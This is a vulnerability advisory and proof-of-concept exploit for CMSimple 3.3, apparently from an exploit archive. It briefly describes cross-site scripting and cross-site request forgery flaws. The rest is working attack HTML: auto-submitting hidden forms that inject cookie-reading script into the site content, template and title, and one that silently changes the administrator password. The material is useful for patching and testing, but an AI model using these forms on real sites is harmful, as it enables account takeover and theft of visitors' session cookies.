source: https://www.securityfocus.com/bid/42470/info CMSimple is prone to multiple cross-site scripting vulnerabilities and a cross-site request-forgery vulnerability. An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, disclose or modify sensitive information, or perform unauthorized actions. Other attacks are also possible. CMSimple 3.3 is vulnerable; other versions may also be affected. <form action="http://www.example.com/" method="post" name="main" > <input type="hidden" name="text" value='<html><head><title>The name of the site - Content</title><meta name="keywords" content="key"><meta name="description" content="description"><meta http-equiv="content-type" content="text/html;charset=UTF-8"><link rel="stylesheet" href="https://www.exploit-db.com/exploits/34479/templates/default/stylesheet.css" type="text/css"></head><body><H1>Welcome</H1><P>code and <script>alert(document.cookie)</script></P></body></html>' /> <input type="hidden" name="file" value="content" /> <input type="hidden" name="action" value="save" /> </form> <script> document.main.submit(); </script> <form action="http://www.example.com/" method="post" name="main" > <input type="hidden" name="text" value='php and html code of template<script>alert(document.cookie)</script>' /> <input type="hidden" name="file" value="template" /> <input type="hidden" name="action" value="save" /> </form> <script> document.main.submit(); </script> <form action="http://www.example.com/" method="post" name="main" > <input type="hidden" name="security_password" value="test" /> <input type="hidden" name="security_type" value="page" /> <input type="hidden" name="site_title" value='CMSimple site"><script>alert(document.cookie)</script>' /> <input type="hidden" name="site_template" value="default" /> <input type="hidden" name="language_default" value="ru" /> <input type="hidden" name="meta_keywords" value="CMSimple, Content Management System, php" /> <input type="hidden" name="meta_description" value="CMSimple is a content management system" /> <input type="hidden" name="backup_numberoffiles" value="5" /> <input type="hidden" name="images_maxsize" value="150000" /> <input type="hidden" name="downloads_maxsize" value="1000000" /> <input type="hidden" name="mailform_email=" value="" /> <input type="hidden" name="editor_height" value="(screen.availHeight)-400" /> <input type="hidden" name="editor_external" value="" /> <input type="hidden" name="menu_color" value="000000" /> <input type="hidden" name="menu_highlightcolor" value="808080" /> <input type="hidden" name="menu_levels" value="3" /> <input type="hidden" name="menu_levelcatch" value="10" /> <input type="hidden" name="menu_sdoc" value="" /> <input type="hidden" name="menu_legal" value="CMSimple Legal Notices" /> <input type="hidden" name="uri_seperator" value=":" /> <input type="hidden" name="uri_length" value="200" /> <input type="hidden" name="xhtml_endtags" value="" /> <input type="hidden" name="xhtml_amp" value="true" /> <input type="hidden" name="plugins_folder" value="" /> <input type="hidden" name="functions_file" value="functions.php" /> <input type="hidden" name="scripting_regexp" value="\#CMSimple (.*?)\#" /> <input type="hidden" name="form" value="array" /> <input type="hidden" name="file" value="config" /> <input type="hidden" name="action" value="save" /> </form> <script> document.main.submit(); </script> <form action="http://www.example.com/" method="post" name="main" > <input type="hidden" name="security_password" value="newpassword" /> <input type="hidden" name="security_type" value="page" /> <input type="hidden" name="site_title" value='CMSimple site' /> <input type="hidden" name="site_template" value="default" /> <input type="hidden" name="language_default" value="ru" /> <input type="hidden" name="meta_keywords" value="CMSimple, Content Management System, php" /> <input type="hidden" name="meta_description" value="CMSimple is a content management system" /> <input type="hidden" name="backup_numberoffiles" value="5" /> <input type="hidden" name="images_maxsize" value="150000" /> <input type="hidden" name="downloads_maxsize" value="1000000" /> <input type="hidden" name="mailform_email=" value="" /> <input type="hidden" name="editor_height" value="(screen.availHeight)-400" /> <input type="hidden" name="editor_external" value="" /> <input type="hidden" name="menu_color" value="000000" /> <input type="hidden" name="menu_highlightcolor" value="808080" /> <input type="hidden" name="menu_levels" value="3" /> <input type="hidden" name="menu_levelcatch" value="10" /> <input type="hidden" name="menu_sdoc" value="" /> <input type="hidden" name="menu_legal" value="CMSimple Legal Notices" /> <input type="hidden" name="uri_seperator" value=":" /> <input type="hidden" name="uri_length" value="200" /> <input type="hidden" name="xhtml_endtags" value="" /> <input type="hidden" name="xhtml_amp" value="true" /> <input type="hidden" name="plugins_folder" value="" /> <input type="hidden" name="functions_file" value="functions.php" /> <input type="hidden" name="scripting_regexp" value="\#CMSimple (.*?)\#" /> <input type="hidden" name="form" value="array" /> <input type="hidden" name="file" value="config" /> <input type="hidden" name="action" value="save" /> </form> <script> document.main.submit(); </script>
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